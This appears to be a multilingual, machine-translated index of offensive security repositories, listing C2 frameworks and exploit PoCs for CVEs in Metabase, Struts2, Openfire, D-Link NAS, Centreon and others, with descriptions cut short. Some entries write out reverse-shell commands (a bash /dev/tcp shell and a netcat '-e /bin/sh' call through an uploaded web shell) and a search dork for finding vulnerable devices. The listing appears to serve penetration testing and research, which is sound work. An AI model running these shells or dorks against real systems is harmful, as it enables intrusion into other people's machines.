OffensiveNotion

OffensiveNotion Notion sì, l'app per prendere appunti come C2. Una collaborazione di: Documentazione | Pull Requests | Issues !Pull...

purpleteam

purpleteam CLI Componente CLI di purpleteam - Attualmente in alpha Installazione Più semplice npm install -g purpleteam...

DeimosC2

DeimosC2 Deimos è: DEPRECATO DeimosC2 non è più mantenuto e ha una vulnerabilità XSS nota CVE-2025-26244. Grazie a JaRm222 per aver identificato la vulnerabilità e averci informato. Il suo resoconto della vulnerabilità si trovaqui. DeimosC2 è uno strumento di Command & Control C2 post-exploitatio...

socks5

socks5 Server e client Socks5/Socks5h Questo progetto aggiunge il supporto del protocollo per il Bridge, oppure può essere usato autonomamente Utilizzo Documentazione API Esempio Supporto per il comando CONNECT Supporto per il comando BIND Supporto per il comando ASSOCIATE Licenza...

CVE-2018-17431-PoC

CVE-2018-17431-PoC Beweis des Konzepts für CVE-2018-17431 Exploit-Titel: Comodo Firewall & Central Manager UTM Alle Versionen vor 2.7.0 & 1.5.0 Remote-Befehlsausführung Web-Shell-basiert Exploit-Autor: Milad Fadavvi Hersteller-Homepage: https://www.comodo.com/ Software-Link:...

CVE-2023-24706

CVE-2022-24706 Apache CouchDB vulnerabilità di esecuzione remota di comandi poc...

CVE-2023-38646

Metabase RCE pre-autenticazione CVE-2023-38646 PoC Questo è uno script Python che sfrutta la vulnerabilità di esecuzione di codice remoto del software di login di Metabase. Permette di eseguire comandi arbitrari sul server prima dell'autenticazione. Le versioni vulnerabili sono Metabase open sour...

Struts2-045-Exp

Struts2-045-Exp Script di sfruttamento per Struts2-045 Solo per test usage:python3 struts2-045-exp.py url cmd...

flask_heroku_redirector

Flask Heroku C2 Esempio Una semplice applicazione di esempio Python Flask pronta per essere eseguita su Heroku. Configurazione per lo sviluppo virtualenv venv source venv/bin/activate pip install -r requirements.txt python app.py Deploy heroku create git push heroku master...

CVE-2024-10914

CVE-2024-10914 Test della vulnerabilità di iniezione di comandi per D-Link NASTest manuale con Burp Suite Dork per trovare dispositivi vulnerabili Utilizza il seguente dork di ricerca per trovare dispositivi D-Link NAS potenzialmente vulnerabili: root@kitploit: FOFA: app="DLink-DNS-ShareCenter" &...

CVE-2026-8037-POC

CVE-2026-8037-POC Include comando detect e getshell con un clic richiede servizio di deployment server pco.yaml combinato con nuclei per una rapida rilevazione Avvio rapido Modalità interattiva root@kitploit: python go.py Inserisci l'URL di destinazione → seleziona il menu delle funzioni...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 Ottieni JSESSIONID e csrftoken restituiti , costruisci un pacchetto di richiesta per aggiungere un utente sostituisci JSESSIONID, csrftoken root@kitploit: cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 Compilazione e...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Pterodactyl Panel RCE Exploit HTB Season 10 - Pterodactyl Machine Writeup Übersicht Ziel: Pterodactyl HTB-Maschine Mittlerer Schwierigkeitsgrad CVE: CVE-2025-49132 Schweregrad: Kritisch CVSS 9.8 Angriffsart: Nicht authentifizierte Remote-Codeausführung Betroffen: Pterodactyl Pane...

Indushell

Indushell PoC C&C für die Industroyer-Malware Ursprüngliche Arbeit von: xpn https://github.com/xpn Demo: https://www.youtube.com/watch?v=3bulqYmPTps Blogbeitrag: https://www.secarma.co.uk/labs/industroyers-command-and-control-protocol...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Klicken Sie auf Add , wie im Bild unten gezeigt. Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl. root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Und klicken Sie auf Save. Nun navigieren wir zu Configuration...

PAKURI-THON

PAKURI-THON Pentest Achieve Knowledge Unite Rapid Interface - Python PAKURI-THON é uma ferramenta que apoia pentesters com várias ferramentas de teste de penetração e servidor C4 comando e controle e servidor de chat e comunicação. PAKURI-THON pode realizar a maioria das operações com operações w...

CVE-2023-40289

CVE-2023-40289 Este é um exploit para CVE-2023-40289, uma vulnerabilidade de injeção de comandos em vários Controladores de Gerenciamento de Placa BMC com firmware da ATEN. Exemplos de dispositivos afetados incluem AST2300 ou AST2500 da Aspeed, que podem ser encontrados em sistemas de servidor da...

CVE-2020-23584

CVE-2020-23584 OPTILINK E-PON "MODEL NO: OP-XT71000N" com "HARDWARE VERSION: V2.2"; & "FIRMWARE VERSION: OPV3.3.1-191028" Execução remota de código não autenticada em "OPTILINK OP-XT71000N, Hardware Version: V2.2". O problema ocorre quando o atacante passa comandos arbitrários com ENDEREÇO-IP...

gitlist-RCE

gitlist-RCE CVE-2014-4511 esempio: dopo il caricamento riuscito della shell: accesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2011-0762

CVE-2011-0762 Exploit Exploit in C per la vulnerabilità CVE-2011-0762 nei server FTP che consente l'invio di un comando STAT con payload dannoso per causare possibili errori o esecuzione indesiderata. Descrizione Questo exploit si connette a un server FTP e autentica utilizzando un utente e una...